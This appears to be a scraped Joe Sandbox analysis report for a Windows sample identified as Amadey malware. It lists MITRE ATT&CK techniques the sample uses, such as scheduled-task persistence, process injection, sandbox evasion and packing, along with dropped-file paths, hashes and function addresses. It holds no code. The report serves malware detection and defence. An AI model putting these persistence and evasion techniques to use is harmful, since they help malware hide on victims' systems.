Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#j$P#j
API String ID: 2659868963-3156330307
Opcode ID: e5eed19795a72e4bb8155792379a0df662cfe376ca83732e49e382773207bcf7
Instruction ID: e17cb520a75467852008f29943b3fb8349ff4810e6d528f61d3543551a943860
Opcode Fuzzy Hash: e5eed19795a72e4bb8155792379a0df662cfe376ca83732e49e382773207bcf7
Instruction Fuzzy Hash: 1FF082B1E1020DDBC714DF68D84199EBBF9AF55300F1082AEE444A7301EA705A55CB99

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report EXyAlLKIck.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe:Zone.Identifier

C:\Windows\Tasks\axplong.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
EXyAlLKIck.exe

Function 006ABD60 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 310
networkfileCOMMON

Function 006A65B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Function 006A5DF0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 006A7D00 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 392
COMMON

Function 006D6E01 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 006DD4F4 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 198
COMMONLIBRARYCODE

Function 006A82B0 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Function 006D6C99 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Function 006D6F71 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Function 006DD6EF Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Function 006B6AE0 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON